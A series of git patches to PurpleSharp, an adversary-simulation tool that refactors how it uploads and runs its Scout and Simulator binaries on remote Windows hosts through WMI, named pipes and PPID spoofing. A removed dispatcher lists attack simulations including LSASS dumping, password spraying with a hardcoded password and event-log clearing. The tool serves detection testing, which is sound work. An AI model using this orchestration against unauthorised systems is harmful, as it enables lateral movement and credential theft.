ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass,scout_np, playbook, log, false); if (playbookResults == null) continue; playbookResults.name = playbook.name; @@ -420,11 +411,13 @@ public static void Main(string[] args) { Console.Write("Password for {0}\\{1}: ", domain, ruser); rpwd = Utils.GetPassword(); + config_params.remote_password = rpwd; Console.WriteLine(); } if (!rhost.Equals("random")) { - ExecuteRemoteTechniquesSerialized(rhost, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); + ExecuteRemoteTechniquesSerialized(config_params); + //ExecuteRemoteTechniquesSerialized(rhost, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); return; } else if (!dc.Equals("")) @@ -438,7 +431,9 @@ public static void Main(string[] args) var random = new Random(); int index = random.Next(targets.Count); Console.WriteLine("[+] Picked Random host for simulation: " + targets[index].Fqdn); - ExecuteRemoteTechniquesSerialized(targets[index].Fqdn, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); + config_params.remote_host = targets[index].Fqdn; + ExecuteRemoteTechniquesSerialized(config_params); + //ExecuteRemoteTechniquesSerialized(targets[index].Fqdn, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); return; } else @@ -466,7 +461,26 @@ public static void Main(string[] args) //Local simulations with command line parameters else if (!techniques.Equals("")) { - ExecutePlaybookOld(techniques, variation, nusers, nhosts, pbsleep, tsleep, log, cleanup); + SimulationPlaybook playbook = new SimulationPlaybook(config_params.playbook_sleep); + playbook.tasks = new List(); + if (techniques.Contains(",")) + { + string[] techs = techniques.Split(','); + for (int i = 0; i < techs.Length; i++) + { + PlaybookTask task = new PlaybookTask(techs[i], config_params.variation, config_params.task_sleep, config_params.cleanup); + playbook.tasks.Add(task); + } + } + else + { + PlaybookTask task = new PlaybookTask(techniques, config_params.variation, config_params.task_sleep, config_params.cleanup); + playbook.tasks.Add(task); + } + + ExecutePlaybook(playbook, log); + + //ExecutePlaybookOld(techniques, variation, nusers, nhosts, pbsleep, tsleep, log, cleanup); } } @@ -555,32 +569,32 @@ public static void Scout(string rhost, string domain, string ruser, string rpwd, RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); } } - public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain, string ruser, string rpwd, string techniques, int variation, int pbsleep, int tsleep, string scoutfpath, string scout_np, string simrpath, string simulator_np, string log, bool opsec, bool verbose, bool cleanup) + public static void ExecuteRemoteTechniquesSerialized(CommandlineParameters cmd_params) { // techniques that need to be executed from a high integrity process string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; - if (rpwd == "") + if (cmd_params.remote_password == "") { - Console.Write("Password for {0}\\{1}: ", domain, ruser); - rpwd = Utils.GetPassword(); + Console.Write("Password for {0}\\{1}: ", cmd_params.domain, cmd_params.remote_user); + cmd_params.remote_password = Utils.GetPassword(); Console.WriteLine(); } string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; - int index = scoutfpath.LastIndexOf(@"\"); - string scoutFolder = scoutfpath.Substring(0, index + 1); + int index = cmd_params.scout_full_path.LastIndexOf(@"\"); + string scoutFolder = cmd_params.scout_full_path.Substring(0, index + 1); System.Threading.Thread.Sleep(3000); - if (opsec) + if (cmd_params.opsec) { string result = ""; string args = "/o"; - Console.WriteLine("[+] Uploading and executing the Scout on {0} ", @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); + Console.WriteLine("[+] Uploading and executing the Scout on {0} ", @"\\" + cmd_params.remote_host + @"\" + cmd_params.scout_full_path.Replace(":", "$")); + RemoteLauncher.upload(uploadPath, cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + RemoteLauncher.wmiexec(cmd_params.remote_host, cmd_params.scout_full_path, args, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password); Console.WriteLine("[+] Connecting to the Scout ..."); @@ -588,28 +602,28 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain SimulationPlaybook playbook = new SimulationPlaybook(); List tasks = new List(); - if (techniques.Contains(",")) + if (cmd_params.techniques.Contains(",")) { - string[] techs = techniques.Split(','); + string[] techs = cmd_params.techniques.Split(','); for (int i = 0; i < techs.Length; i++) { - tasks.Add(new PlaybookTask(techs[i], variation, tsleep, cleanup)); + tasks.Add(new PlaybookTask(techs[i], cmd_params.variation, cmd_params.task_sleep, cmd_params.cleanup)); } } else { - tasks.Add(new PlaybookTask(techniques, variation, tsleep, cleanup)); - + tasks.Add(new PlaybookTask(cmd_params.techniques, cmd_params.variation, cmd_params.task_sleep, cmd_params.cleanup)); + } playbook.tasks = tasks; - playbook.simulator_relative_path = simrpath; - playbook.playbook_sleep = pbsleep; + playbook.simulator_relative_path = cmd_params.simulator_relative_path; + playbook.playbook_sleep = cmd_params.playbook_sleep; - SimulationRequest2 sim_request = new SimulationRequest2("SYN", "regular", playbook); - if (privileged_techniques.Contains(techniques.ToUpper())) sim_request.recon_type = "privileged"; + SimulationRequest sim_request = new SimulationRequest("SYN", "regular", playbook); + if (privileged_techniques.Contains(cmd_params.techniques.ToUpper())) sim_request.recon_type = "privileged"; byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); - result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); + result = NamedPipes.RunClientSerialized(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.scout_namepipe, bytes_sim_rqeuest); SimulationResponse sim_response = JsonConvert.DeserializeObject(result); if (sim_response.header.Equals("SYN/ACK")) @@ -618,12 +632,12 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain string duser = sim_response.recon_response.user; if (duser == "") { - Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); - sim_request = new SimulationRequest2("FIN"); - result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); + Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + cmd_params.remote_host + "?"); + sim_request = new SimulationRequest("FIN"); + result = NamedPipes.RunClientSerialized(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.scout_full_path, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); Thread.Sleep(1000); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + RemoteLauncher.delete(cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + RemoteLauncher.delete(scoutFolder + cmd_params.log_filename, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); Console.WriteLine("[!] Exitting."); return; } @@ -631,24 +645,24 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain { string user = duser.Split('\\')[1]; Console.WriteLine("[!] Recon -> " + String.Format("Identified logged user: {0}", duser)); - string simfpath = "C:\\Users\\" + user + "\\" + simrpath; - int index2 = simrpath.LastIndexOf(@"\"); - string simrfolder = simrpath.Substring(0, index2 + 1); + string simfpath = "C:\\Users\\" + user + "\\" + cmd_params.simulator_relative_path; + int index2 = cmd_params.simulator_relative_path.LastIndexOf(@"\"); + string simrfolder = cmd_params.simulator_relative_path.Substring(0, index2 + 1); string simfolder = "C:\\Users\\" + user + "\\" + simrfolder; - Console.WriteLine("[+] Uploading Simulator to " + @"\\" + rhost + @"\" + simfpath.Replace(":", "$")); - RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); + Console.WriteLine("[+] Uploading Simulator to " + @"\\" + cmd_params.remote_host + @"\" + simfpath.Replace(":", "$")); + RemoteLauncher.upload(uploadPath, simfpath, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", sim_response.recon_response.process, sim_response.recon_response.process_id, sim_response.recon_response.process_integrity); - sim_request = new SimulationRequest2("ACT"); - result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); + sim_request = new SimulationRequest("ACT"); + result = NamedPipes.RunClientSerialized(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.scout_namepipe, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); - if (verbose) + if (cmd_params.verbose) { Console.WriteLine("[+] Grabbing the Scout output..."); System.Threading.Thread.Sleep(1000); - string sresults = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); + string sresults = RemoteLauncher.readFile(cmd_params.remote_host, scoutFolder + cmd_params.log_filename, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); Console.WriteLine("[+] Results:"); Console.WriteLine(); Console.WriteLine(sresults); @@ -656,7 +670,7 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain Thread.Sleep(5000); bool finished = false; int counter = 1; - string results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); + string results = RemoteLauncher.readFile(cmd_params.remote_host, simfolder + cmd_params.log_filename, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); while (finished == false) { @@ -668,21 +682,21 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain Console.WriteLine(results); Console.WriteLine(); Console.WriteLine("[+] Cleaning up..."); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + simfpath.Replace(":", "$")); - RemoteLauncher.delete(simfpath, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (simfolder + log).Replace(":", "$")); - RemoteLauncher.delete(simfolder + log, rhost, ruser, rpwd, domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + cmd_params.scout_full_path.Replace(":", "$")); + RemoteLauncher.delete(cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + (scoutFolder + cmd_params.log_filename).Replace(":", "$")); + RemoteLauncher.delete(scoutFolder + cmd_params.log_filename, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + simfpath.Replace(":", "$")); + RemoteLauncher.delete(simfpath, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + (simfolder + cmd_params.log_filename).Replace(":", "$")); + RemoteLauncher.delete(simfolder + cmd_params.log_filename, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); finished = true; } else { Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); Thread.Sleep(counter * 10 * 1000); - results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); + results = RemoteLauncher.readFile(cmd_params.remote_host, simfolder + cmd_params.log_filename, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); } counter += 1; } @@ -697,17 +711,17 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain } else { - Console.WriteLine("[+] Uploading and executing the Simulator on {0} ", @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.wmiexec(rhost, scoutfpath, "/s", domain, ruser, rpwd); + Console.WriteLine("[+] Uploading and executing the Simulator on {0} ", @"\\" + cmd_params.remote_host + @"\" + cmd_params.scout_full_path.Replace(":", "$")); + RemoteLauncher.upload(uploadPath, cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + RemoteLauncher.wmiexec(cmd_params.remote_host, cmd_params.scout_full_path, "/s", cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password); Thread.Sleep(2000); - if (cleanup) NamedPipes.RunClient(rhost, domain, ruser, rpwd, simulator_np, "technique:" + techniques + " variation:" + variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:True"); - else NamedPipes.RunClient(rhost, domain, ruser, rpwd, simulator_np, "technique:" + techniques + " variation:" + variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:False"); + if (cmd_params.cleanup) NamedPipes.RunClient(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.simulator_namedpipe, "technique:" + cmd_params.techniques + " variation:" + cmd_params.variation.ToString() + " pbsleep:" + cmd_params.playbook_sleep.ToString() + " tsleep:" + cmd_params.task_sleep.ToString() + " cleanup:True"); + else NamedPipes.RunClient(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.simulator_namedpipe, "technique:" + cmd_params.techniques + " variation:" + cmd_params.variation.ToString() + " pbsleep:" + cmd_params.playbook_sleep.ToString() + " tsleep:" + cmd_params.task_sleep.ToString() + " cleanup:False"); Thread.Sleep(5000); bool finished = false; int counter = 1; - string results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); + string results = RemoteLauncher.readFile(cmd_params.remote_host, scoutFolder + cmd_params.log_filename, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); while (finished == false) { @@ -719,17 +733,17 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain Console.WriteLine(results); Console.WriteLine(); Console.WriteLine("[+] Cleaning up..."); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + cmd_params.scout_full_path.Replace(":", "$")); + RemoteLauncher.delete(cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + (scoutFolder + cmd_params.log_filename).Replace(":", "$")); + RemoteLauncher.delete(scoutFolder + cmd_params.log_filename, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); finished = true; } else { Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); Thread.Sleep(counter * 10 * 1000); - results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); + results = RemoteLauncher.readFile(cmd_params.remote_host, scoutFolder + cmd_params.log_filename, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); } counter += 1; } @@ -757,7 +771,7 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(str RemoteLauncher.wmiexec(rhost, playbook.scout_full_path, args, domain, ruser, rpwd); //Console.WriteLine("[+] Connecting to namedpipe service ..."); - SimulationRequest2 sim_request = new SimulationRequest2("SYN", "regular", playbook); + SimulationRequest sim_request = new SimulationRequest("SYN", "regular", playbook); //if (privileged_techniques.Contains(techniques.ToUpper())) sim_request.recon_type = "privileged"; byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); @@ -773,7 +787,7 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(str { Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); - sim_request = new SimulationRequest2("FIN"); + sim_request = new SimulationRequest("FIN"); result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); Thread.Sleep(1000); RemoteLauncher.delete(playbook.scout_full_path, rhost, ruser, rpwd, domain); @@ -794,7 +808,7 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(str RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); //Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", sim_response.recon_response.process, sim_response.recon_response.process_id, sim_response.recon_response.process_integrity); - sim_request = new SimulationRequest2("ACT"); + sim_request = new SimulationRequest("ACT"); result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); System.Threading.Thread.Sleep(5000); @@ -857,270 +871,6 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(str return Json.GetPlaybookResult(results); } } - public static void ExecutePlaybookTechniqueOld(string technique, int variation, int nuser, int nhosts, int tsleep, string log, bool cleanup) - { - var rand = new Random(); - - switch (technique) - { - //// Initial Access //// - - //// Execution //// - - case "T1059.001": - if (variation == 1) Simulations.Execution.ExecutePowershellCmd(log); - else Simulations.Execution.ExecutePowershellNET(log); - break; - - case "T1059.003": - Simulations.Execution.WindowsCommandShell(log); - break; - - - case "T1059.005": - Simulations.Execution.VisualBasic(log); - break; - - case "T1059.007": - Simulations.Execution.JScript(log); - break; - - case "T1569.002": - Simulations.Execution.ServiceExecution(log); - break; - - - //T1021.006 - Windows Remote Management - - //// Persistence //// - - //T1053.005 - Scheduled Task - - case "T1053.005": - Simulations.Persistence.CreateScheduledTaskCmd(log, cleanup); - break; - - case "T1136.001": - if (variation == 1) Simulations.Persistence.CreateLocalAccountApi(log, cleanup); - else Simulations.Persistence.CreateLocalAccountCmd(log, cleanup); - break; - - case "T1543.003": - if (variation == 1) Simulations.Persistence.CreateWindowsServiceApi(log, cleanup); - else Simulations.Persistence.CreateWindowsServiceCmd(log, cleanup); - break; - - case "T1547.001": - if (variation == 1) Simulations.Persistence.CreateRegistryRunKeyNET(log, cleanup); - else Simulations.Persistence.CreateRegistryRunKeyCmd(log, cleanup); - break; - - case "T1546.003": - Simulations.Persistence.WMIEventSubscription(log, cleanup); - break; - - //// Privilege Escalation //// - - //T1543.003 - New Service - - //T1053.005 - Scheduled Task - - //// Defense Evasion //// - - case "T1218.010": - Simulations.DefenseEvasion.Regsvr32(log); - break; - - case "T1218.009": - Simulations.DefenseEvasion.RegsvcsRegasm(log); - break; - - case "T1218.004": - Simulations.DefenseEvasion.InstallUtil(log); - break; - - case "T1140": - Simulations.DefenseEvasion.DeobfuscateDecode(log); - break; - - case "T1218.005": - Simulations.DefenseEvasion.Mshta(log); - break; - - case "T1218.003": - Simulations.DefenseEvasion.Csmtp(log); - break; - - case "T1197": - Simulations.DefenseEvasion.BitsJobs(log); - break; - - case "T1218.011": - Simulations.DefenseEvasion.Rundll32(log); - break; - - case "T1070.001": - if(variation ==1) Simulations.DefenseEvasion.ClearSecurityEventLogNET(log); - else Simulations.DefenseEvasion.ClearSecurityEventLogCmd(log); - - break; - - case "T1220": - Simulations.DefenseEvasion.XlScriptProcessing(log); - break; - - case "T1055.002": - Simulations.DefenseEvasion.PortableExecutableInjection(log); - break; - - case "T1055.003": - Simulations.DefenseEvasion.ThreadHijack(log); - break; - - case "T1055.004": - Simulations.DefenseEvasion.AsynchronousProcedureCall(log); - break; - - case "T1134.004": - Simulations.DefenseEvasion.ParentPidSpoofing(log); - break; - - - - //T1218.010 - Regsvr32 - - - //// Credential Access //// - - //T1110.003 - Brute Force - case "T1110.003": - string password = "Summer2020"; - if (variation == 1) Simulations.CredAccess.LocalDomainPasswordSpray(nuser, tsleep, password, log); - else Simulations.CredAccess.RemotePasswordSpray(nhosts, nuser, tsleep, password, log); - - break; - - //T1558.003 - Kerberoasting - case "T1558.003": - Simulations.CredAccess.Kerberoasting(log, tsleep); - break; - - //T1003.001 - LSASS Memory - case "T1003.001": - Simulations.CredAccess.LsassMemoryDump(log); - break; - - //// Discovery //// - - //T1016 System Network Configuration Discovery - case "T1016": - Simulations.Discovery.SystemNetworkConfigurationDiscovery(log); - break; - - //T1083 File and Directory Discovery - case "T1083": - Simulations.Discovery.FileAndDirectoryDiscovery(log); - break; - - //T1135 - Network Share Discovery - case "T1135": - Simulations.Discovery.EnumerateShares(nhosts, tsleep, log); - break; - - //T1046 - Network Service Scanning - case "T1046": - Simulations.Discovery.NetworkServiceDiscovery(nhosts, tsleep, log); - break; - - case "T1087.001": - Simulations.Discovery.LocalAccountDiscoveryCmd(log); - break; - - case "T1087.002": - if (variation ==1 ) Simulations.Discovery.DomainAccountDiscoveryLdap(log); - else Simulations.Discovery.DomainAccountDiscoveryCmd(log); - break; - - case "T1007": - Simulations.Discovery.SystemServiceDiscovery(log); - break; - - case "T1033": - Simulations.Discovery.SystemUserDiscovery(log); - break; - - case "T1049": - Simulations.Discovery.SystemNetworkConnectionsDiscovery(log); - break; - - case "T1482": - Simulations.Discovery.DomainTrustDiscovery(log); - break; - - case "T1201": - Simulations.Discovery.PasswordPolicyDiscovery(log); - break; - - case "T1069.001": - Simulations.Discovery.LocalGroups(log); - break; - - case "T1069.002": - Simulations.Discovery.DomainGroups(log); - break; - - case "T1012": - Simulations.Discovery.QueryRegistry(log); - break; - - case "T1518.001": - Simulations.Discovery.SecuritySoftwareDiscovery(log); - break; - - case "T1082": - Simulations.Discovery.SystemInformationDiscovery(log); - break; - - case "T1124": - Simulations.Discovery.SystemTimeDiscovery(log); - break; - - //// Lateral Movement //// - - //T1021.006 - Windows Remote Management - case "T1021.006": - Simulations.LateralMovement.WinRmCodeExec(nhosts, tsleep, log); - break; - - //T1021 - Remote Service - case "T1021": - Simulations.LateralMovement.CreateRemoteServiceOnHosts(nhosts, tsleep, cleanup, log); - break; - - //T1047 - Windows Management Instrumentation - case "T1047": - Simulations.LateralMovement.ExecuteWmiOnHosts(nhosts, tsleep, log); - break; - - // Collection - - // Command and Control - - // Exfiltration - - // Impact - - // Other Techniques - - case "privenum": - Simulations.Discovery.PrivilegeEnumeration(nhosts, tsleep, log); - break; - - default: - break; - - } - } public static void ExecutePlaybookTechnique(PlaybookTask task, string log) { var rand = new Random(); @@ -1385,35 +1135,15 @@ public static void ExecutePlaybookTechnique(PlaybookTask task, string log) } } - public static void ExecutePlaybookOld(string technique, int variation, int nuser, int nhosts, int pbsleep, int tsleep, string log, bool cleanup) - { - string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Logger logger = new Logger(currentPath + log); - - if (technique.Contains(",")) - { - string[] techniques = technique.Split(','); - for (int i=0; i < techniques.Length; i++) - { - ExecutePlaybookTechniqueOld(techniques[i].Trim(), variation, nuser, nhosts, tsleep, log, cleanup); - if (pbsleep > 0 && i != techniques.Length-1) Thread.Sleep(1000 * pbsleep); - } - logger.TimestampInfo("Playbook Finished"); - } - else - { - ExecutePlaybookTechniqueOld(technique, variation, nuser, nhosts, tsleep, log, cleanup); - logger.TimestampInfo("Playbook Finished"); - } - } public static void ExecutePlaybook(SimulationPlaybook playbook, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); + PlaybookTask lastTask = playbook.tasks.Last(); foreach (PlaybookTask task in playbook.tasks) { ExecutePlaybookTechnique(task, log); - if (playbook.playbook_sleep > 0 ) Thread.Sleep(1000 * playbook.playbook_sleep); + if (playbook.playbook_sleep > 0 && task != lastTask ) Thread.Sleep(1000 * playbook.playbook_sleep); logger.TimestampInfo("Playbook Finished"); } } diff --git a/PurpleSharp/PurpleSharp.csproj b/PurpleSharp/PurpleSharp.csproj index 7d2561c..9b17c73 100644 --- a/PurpleSharp/PurpleSharp.csproj +++ b/PurpleSharp/PurpleSharp.csproj @@ -89,6 +89,7 @@ + From 9a116e9664a96014d1dd8f658638961949d5f3af Mon Sep 17 00:00:00 2001 From: mvelazco Date: Thu, 1 Apr 2021 00:59:01 -0400 Subject: [PATCH 08/20] serializing scout enumeration namedpipe protocol --- PurpleSharp/Lib/Models.cs | 41 ++++--- PurpleSharp/Lib/NamedPipes.cs | 59 ++++++++-- PurpleSharp/Program.cs | 209 +++++++++++++++++++++++++++++++--- 3 files changed, 265 insertions(+), 44 deletions(-) diff --git a/PurpleSharp/Lib/Models.cs b/PurpleSharp/Lib/Models.cs index 10f5d8b..179135d 100644 --- a/PurpleSharp/Lib/Models.cs +++ b/PurpleSharp/Lib/Models.cs @@ -45,11 +45,13 @@ public class CommandlineParameters public string log_filename; + public string scout_action; + public CommandlineParameters() { - + } - public CommandlineParameters(string scout_path, string simulator_path, string rhost, string ruser, string rpwd, string d, string techs, string dc, string scout_np, string simulator_np, string log, int var, int pbsleep, int tsleep, bool cln, bool ops, bool verb ) + public CommandlineParameters(string scout_path, string simulator_path, string rhost, string ruser, string rpwd, string d, string techs, string dc, string sc_action, string scout_np, string simulator_np, string log, int var, int pbsleep, int tsleep, bool cln, bool ops, bool verb) { scout_full_path = scout_path; simulator_relative_path = simulator_path; @@ -59,6 +61,7 @@ public CommandlineParameters(string scout_path, string simulator_path, string rh domain = d; techniques = techs; domain_controller = dc; + scout_action = sc_action; scout_namepipe = scout_np; simulator_namedpipe = simulator_np; log_filename = log; @@ -76,13 +79,12 @@ public class SimulationExercise { public string domain { get; set; } public string username { get; set; } - public string dc { get; set; } + public string password { get; set; } + public string domain_controller { get; set; } public int sleep { get; set; } public string type { get; set; } public List playbooks { get; set; } } - - public class SimulationPlaybook { public string name { get; set; } @@ -95,14 +97,13 @@ public class SimulationPlaybook public SimulationPlaybook(int pbsleep) { playbook_sleep = pbsleep; - + } public SimulationPlaybook() { - + } } - public class PlaybookTask { public string technique { get; set; } @@ -125,7 +126,6 @@ public PlaybookTask(string tech, int var, int t_sleep, bool cl = true) } } - // Result classes public class SimulationExerciseResult { @@ -142,7 +142,6 @@ public class SimulationPlaybookResult public List taskresults { get; set; } } - public class PlaybookTaskResult { public string timestamp { get; set; } @@ -158,7 +157,6 @@ public class TaskDebugMsg } // ATT&CK Classes - public class NavigatorLayer { public string name { get; set; } @@ -178,20 +176,17 @@ public class NavigatorLayer //public string tacticRowBackground { get; set; } //public bool selectTechniquesAcrossTactics { get; set; } } - public class NavigatorFilters { public string[] stages { get; set; } public string[] platforms { get; set; } } - public class NavigatorGradient { public string[] colors { get; set; } public int minValue { get; set; } public int maxValue { get; set; } } - public class NavigatorTechnique { public string techniqueID { get; set; } @@ -203,9 +198,7 @@ public class NavigatorTechnique //public object[] metadata { get; set; } } - // Named Pipe Comms Classes - public class SimulationRequest { public string header; @@ -227,11 +220,13 @@ public class SimulationResponse public ReconResponse recon_response; - public SimulationResponse(string stat, ReconResponse recon_resp = null) + public ScoutResponse scout_response; + + public SimulationResponse(string stat, ReconResponse recon_resp = null, ScoutResponse sc_resp = null) { header = stat; recon_response = recon_resp; - + scout_response = sc_resp; } } public class ReconResponse @@ -251,4 +246,14 @@ public ReconResponse(string u, string proc, string proc_id, string proc_int) process_integrity = proc_int; } } + + public class ScoutResponse + { + public string results; + public ScoutResponse(string res) + { + results = res; + } + + } } diff --git a/PurpleSharp/Lib/NamedPipes.cs b/PurpleSharp/Lib/NamedPipes.cs index 15b3896..321f006 100644 --- a/PurpleSharp/Lib/NamedPipes.cs +++ b/PurpleSharp/Lib/NamedPipes.cs @@ -57,7 +57,7 @@ public static void RunScoutService(string scout_np, string simulator_np, string } else if (line.ToLower().Equals("auditpol")) { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetAuditPolicy()))); + writer.WriteLine(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetAuditPolicy()))); writer.Flush(); } else if (line.ToLower().Equals("wef")) @@ -223,7 +223,7 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n string duser, simulator_full_path, user, simulator_binary; duser = simulator_full_path = user = simulator_binary = ""; Process parentprocess = null; - SimulationPlaybook PlaybookToSend = null; + SimulationPlaybook PlaybookForSimulator = null; Thread.Sleep(1500); try @@ -242,11 +242,50 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n var line = Encoding.UTF8.GetString(messageBytes); logger.TimestampInfo("Received from client: " + line); SimulationRequest sim_request = JsonConvert.DeserializeObject(line); + ScoutResponse scout_response = null; - if (sim_request.header.Equals("SYN")) + if (sim_request.header.Equals("SCT")) + { + logger.TimestampInfo("Received SCT"); + switch (sim_request.recon_type) + { + case "auditpol": + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetAuditPolicy()))); + break; 